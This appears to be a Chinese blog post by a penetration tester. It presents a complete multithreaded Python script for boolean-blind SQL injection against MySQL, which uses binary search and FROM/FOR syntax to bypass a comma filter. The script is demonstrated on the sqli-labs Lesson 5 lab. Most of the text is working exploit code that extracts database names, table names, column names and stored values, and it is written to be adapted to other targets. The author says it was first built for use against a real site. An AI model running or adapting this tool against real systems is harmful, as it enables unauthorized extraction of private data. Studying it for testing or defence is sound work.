前言
在给某个站做渗透测试时,sqlmap跑出一个单引号闭合的sql盲注,其后台数据库属于mysql数据库。但当我想爆库、爆表时,不知道后台做了什么限制,sqlmap运行一会就自动停止,无法跑任何数据。
起初还以为站点是不是有什么waf拦截了。但细想,有waf的话,sqlmap不可能跑出这么简单的注入点啊。然后又想,是不是发包太快,被封了。于是调整线程与发包的频率,发现仍然是同样的问题。为了分析具体的错误原因,加上-v3 参数,发现回包中存在大量500响应码(没图,自己脑补)。百度得知,sqlmap在遇到大量500时,就会自动停止运行。于是手动测试语句找到具体是哪个字符引起500的,通过一个个的删除关键字进行排查,最终发现当提交参数中有逗号时,服务器就会返回500。
定位到了问题所在,那么下一步就是想办法绕过了,盲注中当逗号被过滤时,是可以使用from for 来绕过的(具体原理百度)。但我寻思着,这种情况下,想用sqlmap跑出东西来有点不太现实,并且也没有DNS盲注、union联合注入、报错注入等能快速得出结果的漏洞。
由于网上存在的盲注脚本大部分是单线程的且是遍历字母表的所有取值的,这意味着爆破速度慢得令人发指。于是打算自己写一个用于爆破的脚本。主要针对上述痛点进行修改。同时还要能通用,以便以后可以具体情况具体修改。
由于某种不可描述的原因,对这个站进行测试时,没留截图。下面以sql-labs为例子,演示脚本用法。
一、具体代码
1.主要优势
二分查找算法快速定位值+多线程批量爆破,进一步加快爆库速度。
与一般的单线程+遍历取值范围相比。运行时间大大缩减。
能够绕过逗号过滤。
#以下运行时间建立在线程无限的情况下。仅供参考:
#对于数据库名,为每个字母创建一个二分爆破线程。时间取决于数据库名的长度(爆当前数据库)
#对于表,一个线程负责爆破一个表名。时间取决于最长的表名的长度。
#对于字段,一个线程负责爆破一个字段。时间取决于最长的字段的长度。
2.使用前提
该脚本只用于布尔盲注,时间盲注也可(需修改部分函数)。
爆库名代码分析:
下面只是整体代码中的一个模块,以该模块为切入点,介绍具体原理。
class SchemaName():#爆数据库名
def __init__(self,url,true_str,cookie_dist):
self.url=url
self.cookie=cookie_dist
self.true_str=true_str#正确的回显
self.cookie=cookie_dist
def length_schema(self): # 猜解数据库名的长度
for x in range(0,15):
url = self.url+"?id=1%27+and+length(database())="+str(x)+'+and+1=1--+'
#根据具体情况改这部分的提交参数和请求方式
s = requests.get(url=url,cookies=self.cookie,verify=False)#改请求方式,当为post方式时,就要进行一些改动了,下面注释是一个例子。
#若页面是post方式,注释掉前面get方式的请求,修改这边的即可
#下面的修改同理
'''
url = self.url
post_data={
"id"="1%27+and+length(database())="+str(x)+'+and+1=1--+'
}
s = requests.post(url=url,cookies=self.cookie,data=post_data,verify=False)
'''
if self.true_str in s.text: # 这里self.ture_str是代表这正确回显的时候,响应包中出现的的标志(换句话说,正确的页面里面有这个字符,而错误的没有)
print('schema_length is :' + str(x))
schema_name_length = int(x)
return schema_name_length
def schema_name(self,x, database_name): # 猜借数据库
x = x
left = 0
right = 127#ASCII 0-127
mid = int((left + right) / 2)
while True: # 二分查找
# 进来第一步直接判断是否大于mid
url=self.url+"?id=1%27+and+ascii(mid(database()from("+str(x)+')for(1)))>'+str(mid)+'+and+1=1--+'
#id=1' and ascii(mid(database()from(7)for(1)))<116 and 1=1--
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
print(s.text)
if self.true_str in s.text: # 正确回显,代表<成立的情况
left = mid + 1
mid = int((left + right) / 2) # 重新定位mid
continue
else: # 不大于,那么就是小于或者等于,需要再来次判断
# 进来直接问是不是小于,不是的话,结果就必然是等于
url=self.url+"?id=1%27+and+ascii(mid(database()from("+str(x)+')for(1)))<'+str(mid)+'+and+1=1--+'
#改这部分的提交参数和请求方式
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
if self.true_str in s.text: # 正确回显,代表小于成立的情况
right = mid - 1
mid = int((left + right) / 2) # 重新定位mid
continue
else: # 那就是等于了
database_name[x - 1] = chr(mid)
break
def main(self):
database_name = []
threads=[]
length=self.length_schema()
for i in range(length):
database_name.append('null')
for i in range(1,length+1):#开启线程,一个线程来爆破一个位;
t=threading.Thread(target=self.schema_name,args=(i,database_name,))
threads.append(t)
for t in threads:
t.start()
for t in threads:
t.join()
database_name=''.join(database_name)
print("数据库名:"+database_name)
return database_name
3.具体使用
此处以sql-labs中的Lesson 5 为例:.
3.1 分析页面回显的不同
发现当id=1时,页面的回显中有You are in 这行字,而id=0的时候不存在。显然只需要再找到注入点就是明显的布尔盲注了。这里就以You做为正确时的判断条件放到脚本的参数中。
3.2.找到注入点,并分析具体绕过。
这里得知,单引号闭合能够成功绕过。
因此有payload: id=1’+and+payload+and+‘1’='1 成立
3.3 替换脚本中的提交参数。
其实就是闭合后,加上我们的sql语句。如图,payload部分其实就是
ascii(mid(database()from(7)for(1)))<116
3.4 添加cookie,通过burpsuite抓包获取cookie。修改脚本中的cookie参数。
复制可得cookie为PHPSESSID=u9hlq7abh25oemin6tq60iqje1
3.5开始爆破
在修改完参数后,即可开启爆破。运行脚本,即可。
PS:
在正式使用时,先注释掉爆表与字段和值的。出数据库后,注释爆数据库的,以此类推。
4.代码整体
import requests
import threading
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class SchemaName():#爆数据库名
def __init__(self,url,true_str,cookie_dist):
self.url=url
self.cookie=cookie_dist
self.true_str=true_str#正确的回显
self.cookie=cookie_dist
def length_schema(self): # 猜解数据库名的长度
for x in range(0,15):
url = self.url+"?id=1%27+and+length(database())="+str(x)+'+and+1=1--+'
#改这部分的提交参数和请求方式
s = requests.get(url=url,cookies=self.cookie,verify=False)#改请求方式,当为post方式时,就要进行一些改动了,下面注释是一个例子。
#这里是post方式时的改变,注释掉前面的操作,修改这边的即可
#下面的修改同理
'''
url = self.url
post_data={
"id"="1%27+and+length(database())="+str(x)+'+and+1=1--+'
}
s = requests.post(url=url,cookies=self.cookie,data=post_data,verify=False)
'''
if self.true_str in s.text: # 这里self.ture_str是代表这正确回显的时候,响应包中出现的的标志(换句话说,正确的页面里面有这个字符,而错误的没有)
print('schema_length is :' + str(x))
schema_name_length = int(x)
return schema_name_length
def schema_name(self,x, database_name): # 猜借数据库
x = x
left = 0
right = 127#ASCII 0-127
mid = int((left + right) / 2)
while True: # 二分查找
# 进来第一步直接判断是否大于mid
url=self.url+"?id=1%27+and+ascii(mid(database()from("+str(x)+')for(1)))>'+str(mid)+'+and+1=1--+'
#id=1' and ascii(mid(database()from(7)for(1)))<116 and 1=1--
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
if self.true_str in s.text: # 正确回显,代表<成立的情况
left = mid + 1
mid = int((left + right) / 2) # 重新定位mid
continue
else: # 不大于,那么就是小于或者等于,需要再来次判断
# 进来直接问是不是小于,不是的话,结果就必然是等于
url=self.url+"?id=1%27+and+ascii(mid(database()from("+str(x)+')for(1)))<'+str(mid)+'+and+1=1--+'
#改这部分的提交参数和请求方式
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
if self.true_str in s.text: # 正确回显,代表小于成立的情况
right = mid - 1
mid = int((left + right) / 2) # 重新定位mid
continue
else: # 那就是等于了
database_name[x - 1] = chr(mid)
break
def main(self):
database_name = []
threads=[]
length=self.length_schema()
for i in range(length):
database_name.append('null')
for i in range(1,length+1):#开启线程,一个线程来爆破一个位;
t=threading.Thread(target=self.schema_name,args=(i,database_name,))
threads.append(t)
for t in threads:
t.start()
for t in threads:
t.join()
database_name=''.join(database_name)
print("数据库名:"+database_name)
return database_name
class TableName():#爆表名
def __init__(self,url,schema_name,true_str,cookie_dist):
self.url=url
self.schema_name=schema_name
self.table_names=[]
self.true_str=true_str
self.cookie=cookie_dist
def table_number(self):#获取表的数量,多少个表就开多少个线程
for i in range(0, 100):
url=self.url+"?id=1%27and+mid((select+COUNT(*)+tables+from+information_schema.tables+where+table_schema=%27"+self.schema_name+'%27)from(1)for(3))='+str(i)+'+and+1=1--+'
#改这部分的提交参数和请求方式
s = requests.get(url,cookies=self.cookie,verify=False)#可以根据具体情况改请求方式
if self.true_str in s.text: # 正确回显
print("存在"+str(i)+'个表')
self.table_numbers=i
return self.table_numbers
def table_name(self,x):#爆破表名,这里x是第几个表的意思,从0~...
x = x
name=''
end_sympol = 0
for y in range(1,15):
if(end_sympol==2):#出现两次空格的时候,认为结束了
break
left = 0
right = 127 # ASCII 0-127
mid = int((left + right) / 2)
while True: # 二分查找
# 进来第一步直接判断是否大于mid
url=self.url+"?id=1%27and+ascii(mid((select+table_name+from+information_schema.tables+where+table_schema=%27"+self.schema_name+'%27+limit+1+offset+'+str(x)+'+)from('+str(y)+')for(1)))%3e'+str(mid)+'+and+1=1--+'#注入点
#改这部分的提交参数和请求方式
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
if self.true_str in s.text: # 正确回显,代表>成立的情况
left = mid + 1
mid = int((left + right) / 2) # 重新定位mid
continue
else: # 不大于,那么就是小于或者等于,需要重新访问
# 进来直接问是不是小于,不是的话,结果就必然是等于
url=self.url+"?id=1%27and+ascii(mid((select+table_name+from+information_schema.tables+where+table_schema=%27"+self.schema_name+'%27+limit+1+offset+'+str(x)+'+)from('+str(y)+')for(1)))%3c'+str(mid)+'+and+1=1--+'#注入点
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
if self.true_str in s.text: # 正确回显,代表小于成立的情况
right = mid - 1
mid = int((left + right) / 2) # 重新定位mid
continue
else: # 那就是等于了
name=name+chr(mid)
if(mid==0):
end_sympol=end_sympol+1
break
self.table_names.append(name)
print('one of tables is:' + name)
def main(self):
threads = []
self.table_number()
for i in range(0,self.table_numbers): # 开启线程,一个线程来爆破一个表,控制这里的参数来调整爆破第几个表到第几个表
t = threading.Thread(target=self.table_name, args=(i,))
threads.append(t)
#我觉得这里可以进一步改进,再开启子线程,来爆破表的每一位。但这样的话,当表很多的时,线程也会很多
for t in threads:
t.start()
for t in threads:
t.join()
return self.table_names
class ColumnName():
def __init__(self,url,schem_name,table_name,true_str,cookie_dist):
self.url = url
self.schema_name = schem_name
self.table_name=table_name
self.true_str=true_str
self.column_names=[]
self.cookie=cookie_dist
def column_number(self): # 获取列的数量,以便下面为爆破一个列创建一个线程
for i in range(0, 20):
url = self.url+"?id=1%27and+mid((select+COUNT(*)+from+information_schema.columns+where+table_schema=%27"+self.schema_name+'%27+and+table_name=%27'+self.table_name+'%27)from(1)for(3))='+str(i)+'+and+1=1--+'#注入点
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
if self.true_str in s.text: # hellow正确回显
print("表"+self.table_name+"中存在" + str(i) + '个字段')
self.column_numbers=i#该表中字段的数量
return self.column_numbers
def column_name(self,x):#爆破字段名,x代表第几个字段
x = x
name = ''
end_sympol = 0
for y in range(1, 15):
if (end_sympol == 2): # 出现两次空格的时候,认为结束了
break
left = 0
right = 127 # ASCII 0-127
mid = int((left + right) / 2)
while True: # 二分查找
# 进来第一步直接判断是否大于mid
url = self.url+"?id=1%27and+ascii(mid((select+column_name+from+information_schema.columns+where+table_schema=%27"+self.schema_name+'%27+and+table_name=%27'+self.table_name+'%27+limit+1+offset+'+str(x)+'+)from('+str(y)+')for(1)))%3e'+str(mid)+'+and+1=1--+'#注入点
#ID:1'and ascii(mid((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1 offset 2 )from(8)for(1)))>95 and 1=1--
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
if self.true_str in s.text: # 正确回显,代表>成立的情况
left = mid + 1
mid = int((left + right) / 2) # 重新定位mid
continue
else: # 不大于,那么就是小于或者等于,需要重新访问
# 进来直接问是不是小于,不是的话,结果就必然是等于
url = self.url+"?id=1%27and+ascii(mid((select+column_name+from+information_schema.columns+where+table_schema=%27"+self.schema_name+'%27+and+table_name=%27'+self.table_name+'%27+limit+1+offset+'+str(x)+'+)from('+str(y)+')for(1)))%3c'+str(mid)+'+and+1=1--+'#注入点
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
if self.true_str in s.text: # 正确回显,代表小于成立的情况
right = mid - 1
mid = int((left + right) / 2) # 重新定位mid
continue
else: # 那就是等于了
name = name + chr(mid)
if (mid == 0):
end_sympol = end_sympol + 1
break
self.column_names.append(name)
print('a column name of ' + self.table_name + ' is ' + name)
def main(self):
threads = []
self.column_number()
for i in range(0, self.column_numbers): # 开启线程,一个线程来爆破一个表
t = threading.Thread(target=self.column_name, args=(i,))
threads.append(t)
#我觉得这里可以进一步改进,再开启子线程,来爆破表的每一位。但这样的话,当表很多的时,线程也会很多
for t in threads:
t.start()
for t in threads:
t.join()
return self.column_names
class ColumnValue():#猜值
def __init__(self, url, schem_name, table_name,column_name,true_str,cookie_dist):
self.url = url
self.schema_name = schem_name
self.table_name = table_name
self.column_name = column_name
self.true_str=true_str
self.column_values=[]
self.cookie=cookie_dist
def value_number(self):#值的数量
for i in range(0, 20):
url = self.url+"?id=1%27and+mid((select+COUNT(*)+from+"+self.schema_name+'.'+self.table_name+')from(1)for(3))='+str(i)+'+and+1=1--+'#注入点
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
if self.true_str in s.text: # hellow正确回显
print("表"+self.table_name+"中的字段"+'有'+str(i)+"个值")
self.value_numbers=i#该字段中值的数量
return self.value_numbers
def column_value(self,x):
x = x
value = ''
end_sympol = 0
for y in range(1, 15):
if (end_sympol == 2): # 出现两次空格的时候,认为结束了
break
left = 0
right = 127 # ASCII 0-127
mid = int((left + right) / 2)
while True: # 二分查找
# 进来第一步直接判断是否大于mid
url = self.url+"?id=1%27and+ascii(mid((select+"+self.column_name+'+from+'+self.schema_name+'.'+self.table_name+'+limit+1+offset+'+str(x)+'+)from('+str(y)+')for(1)))%3e'+str(mid)+'+and+1=1--+'#注入点
#ID:1'and ascii(mid((select username from security.users limit 1 offset 11 )from(1)for(1)))>111 and 1=1--
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
if self.true_str in s.text: # 正确回显,代表>成立的情况
left = mid + 1
mid = int((left + right) / 2) # 重新定位mid
continue
else: # 不大于,那么就是小于或者等于,需要重新访问
# 进来直接问是不是小于,不是的话,结果就必然是等于
url = self.url+"?id=1%27and+ascii(mid((select+"+self.column_name+'+from+'+self.schema_name+'.'+self.table_name+'+limit+1+offset+'+str(x)+'+)from('+str(y)+')for(1)))%3c'+str(mid)+'+and+1=1--+'#注入点
s = requests.get(url,cookies=self.cookie,verify=False)#改请求方式
if self.true_str in s.text: # 正确回显,代表小于成立的情况
right = mid - 1
mid = int((left + right) / 2) # 重新定位mid
continue
else: # 那就是等于了
value = value + chr(mid)
if (mid == 0):
end_sympol = end_sympol + 1
break
self.column_values.append(value)
print('one data of ' + self.schema_name + '.' + self.table_name + '\'s ' + self.column_name + ' is ' + value)
def main(self):
threads = []
self.value_number()
for i in range(0, self.value_numbers): # 开启线程,一个线程来爆破一个表
t = threading.Thread(target=self.column_value, args=(i,))
threads.append(t)
#我觉得这里可以进一步改进,再开启子线程,来爆破表的每一位。但这样的话,当表很多的时,线程也会很多
for t in threads:
t.start()
for t in threads:
t.join()
return self.column_values
if __name__ == '__main__':
#需按顺序爆破,先出数据库名,然后才能爆表。
#下面以sql-labs靶场的Less5为例子
#自己修改下面的url、true_str、cookie参数
#同时在各个模块中改请求方法和提交参数(这里是使用了get方式)
url=r"http://192.168.147.130/sqli-labs/sqli-labs-master/Less-5/"#存在漏洞的URL,不需要加参数
true_str='You'#正确回显时的字符串
cookie={'EAD_JSESSIONID': '1216591E8D9C5094F2881B640DC2DD4A', 'account': 'anquan_saomiao', 'status': '1', '_security': 'b6180d3a2e298f5a6082d55035f2d43a'}
#按照顺序来,注释掉不需要的模块。
'''
#爆库名
schema=SchemaName(url,true_str,cookie)
schema_name=schema.main()
#爆破数据库security中的表
table=TableName(url,'security',true_str,cookie)
table_list=table.main()
#爆破数据库security中的表users的字段
column=ColumnName(url,'security','users',true_str,cookie)
column_list=column.main()
#爆破数据库security中的表users的字段username中的值
value=ColumnValue(url,'security','users','username',true_str,cookie)
value_list=value.main()
'''